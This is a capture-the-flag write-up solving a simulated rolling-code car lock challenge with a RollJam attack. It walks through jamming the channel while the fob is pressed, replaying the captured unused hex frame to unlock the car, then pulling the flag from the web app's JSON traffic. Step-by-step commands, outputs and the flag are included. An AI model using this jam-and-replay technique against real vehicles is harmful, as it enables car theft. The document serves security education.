HTB Cyber Apocalypse 2026 - The Salt Crown: Hardware / Saltlock Drift (Medium)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

Stormbound outriders recovered a salt crusted gatecar outside the Sunken Causeway. Its remote lock still listens across a shared band that the wardens use during convoy checks. Reach the channel, study the signals, and reveal the token through a replay attack.

A rolling-code car remote. A plain replay is rejected by design - but the jammer the challenge hands you turns it into a RollJam: block the fob's transmission so the car never sees it, then send the captured code yourself while it is still unused.

1. Download

Nothing. Two network endpoints, no files.

2. Docker/nc - what we get

Port one is an RF channel simulator:

$ nc 154.57.164.75 30149
RiverGate RF-433 shared service channel
freq=433.920MHz modulation=OOK encoding=raw-hex
commands: HELP, STATUS, JAM ON, JAM OFF, TX <hex>, QUIT
physical keyfob frames are mirrored here as RX lines

status
STATUS lock=locked jammer=off last_counter=8076 flag=hidden freq=433.920MHz modulation=OOK

Port two is a web app showing the car and its event log:

The web app showing lock state, counter and event log

The car's own view: lock state, receiver counter, and a log of what it saw.

Conclusion: Two halves of one target. The console is the radio, the web app is the car - and crucially flag=hidden in STATUS says the flag appears only once something worth logging has happened.

3. Analysis steps

3.1 Watch a legitimate unlock (success)

Pressing the fob in the web app mirrors the frame into the console as an RX line. Doing it repeatedly shows the structure.

RX ... raw=AAAAAAAA2DD4534C54021F8E4440E04CA15C
CAR ACCEPT source=fob button=unlock counter=8078 result=owner_unlock
RX ... raw=AAAAAAAA2DD4534C54021F8FA043BC0F2F33
CAR ACCEPT source=fob button=unlock counter=8079 result=owner_unlock
RX ... raw=AAAAAAAA2DD4534C54021F90A2E440C1F5DA
CAR ACCEPT source=fob button=unlock counter=8080 result=owner_unlock

Conclusion: A fixed preamble and device id, then a counter that increments per press, then a rolling authenticator that changes unpredictably. Classic rolling code.

3.2 Replay a captured frame (failed)

The challenge says "replay attack", so try the obvious one first.

tx AAAAAAAA2DD4534C54011F8D5E94649B3192
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54011F8D5E94649B3192
CAR REJECT source=attacker button=lock counter=8077 reason=replay_or_old_counter

Random data does not help either - the frame is length-checked:

tx ffff
TX freq=433.920MHz modulation=OOK raw=FFFF
CAR REJECT source=attacker reason=bad_length

Conclusion: Exactly what rolling codes are designed to stop: once the car has seen counter 8077, everything at or below it is dead. A captured code is only useful if the car never received it in the first place - which is what the jammer is for.

3.3 RollJam (success)

The command list includes JAM ON/JAM OFF. Jamming while the owner presses the fob means the frame reaches us (the console mirrors it) but not the car.

jam on
CH STATE jammer=on freq=433.920MHz

   (owner presses unlock)
RX ... raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR MISS source=fob button=unlock reason=channel_jammed     <- car never saw it

jam off
CH STATE jammer=off freq=433.920MHz

tx AAAAAAAA2DD4534C54021F98FB77DE9FD00D
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR ACCEPT source=attacker button=unlock counter=8088 result=exploit_unlock

Conclusion: The captured code was never consumed, so its counter is still ahead of the car's. CAR MISS versus CAR ACCEPT is the whole attack in two log lines.

3.4 Read the flag off the web app (failed)

The unlock is logged, and the event log should now contain the flag.

The web app showing the flag truncated by the column width

It does contain it - but the column truncates it, and the text does not wrap or scroll.

Conclusion: The flag is present but not fully readable in the rendered page. The data is obviously in the response body, so read that instead of the rendering.

3.5 Take it off the wire (success)

The page polls its state as JSON. Capturing the traffic gives the untruncated field.

Wireshark filter:
  ip.src_host == 154.57.164.75 and tcp.port == 30402 and frame contains "HTB"
Wireshark showing the JSON response with the complete flag

The JSON the page renders from, with the flag intact.

{"locked": false, "jammed": false, "receiver_counter": 8088, ...
 "events": [...
   {"time": "14:11:41", "message": "physical fob unlock blocked by channel noise"},
   {"time": "14:11:47", "message": "channel jammer set off"},
   {"time": "14:11:49", "message": "unused rolling code replay accepted"},
   {"time": "FLAG", "message":
    "HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}"}]}

Conclusion: The server's own event list confirms the attack step by step - jammer on, fob blocked, jammer off, unused rolling code accepted.

4. Solution

No exploit code - five console commands, with one fob press in the web app between the first and the second. The only timing requirement is that the jammer is on while the owner presses.

# Saltlock Drift - RollJam against the rolling-code fob.
#
# console = nc HOST PORT1 , web app = http://HOST:PORT2

jam on                    # 1. block the channel
                          # 2. press unlock in the web app; the console still
                          #    mirrors the frame as an RX line, but the car
                          #    logs "CAR MISS ... reason=channel_jammed"
jam off                   # 3. stop blocking
tx <the captured raw hex>  # 4. replay the code the car never consumed
                          #    -> CAR ACCEPT ... result=exploit_unlock

# 5. the flag is in the web app's JSON, not in its rendering:
#    tcpdump/Wireshark filter:
#      ip.src_host == HOST and tcp.port == PORT2 and frame contains "HTB"

5. Run it

$ nc 154.57.164.75 30149
RiverGate RF-433 shared service channel

jam on
CH STATE jammer=on freq=433.920MHz
RX freq=433.920MHz modulation=OOK rssi=-48dBm raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR MISS source=fob button=unlock reason=channel_jammed

jam off
CH STATE jammer=off freq=433.920MHz

tx AAAAAAAA2DD4534C54021F98FB77DE9FD00D
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR ACCEPT source=attacker button=unlock counter=8088 result=exploit_unlock

Then, from the captured HTTP response:

{"time": "FLAG", "message":
 "HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}"}

Flag

HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}

6. Summary of how the exploit works

#StageMechanism
1Why a plain replay fails Each fob press carries an incrementing counter. Once the car has seen counter N, anything at or below N is rejected as replay_or_old_counter.
2Jam the channel With the jammer on, the owner's press is mirrored to the attacker (RX) but never reaches the car (CAR MISS ... reason=channel_jammed). The code stays unused, and the car's counter stays behind.
3Replay the unused code Jammer off, transmit the captured frame. Its counter is still ahead of the car's, so it validates: result=exploit_unlock.
4Recover the flag The web app truncates it in the rendered table. The underlying JSON response carries it in full - read the traffic, not the page.

Rolling codes defend against recording and re-sending later. RollJam sidesteps that without breaking any crypto: the defence assumes the car eventually receives what the fob sends, so denying it that one reception leaves a valid, unconsumed code in the attacker's hands. Notable is that the challenge hands over the jammer as a documented command - the intended path is not to find a bug but to notice that the two tools together are worth more than either alone.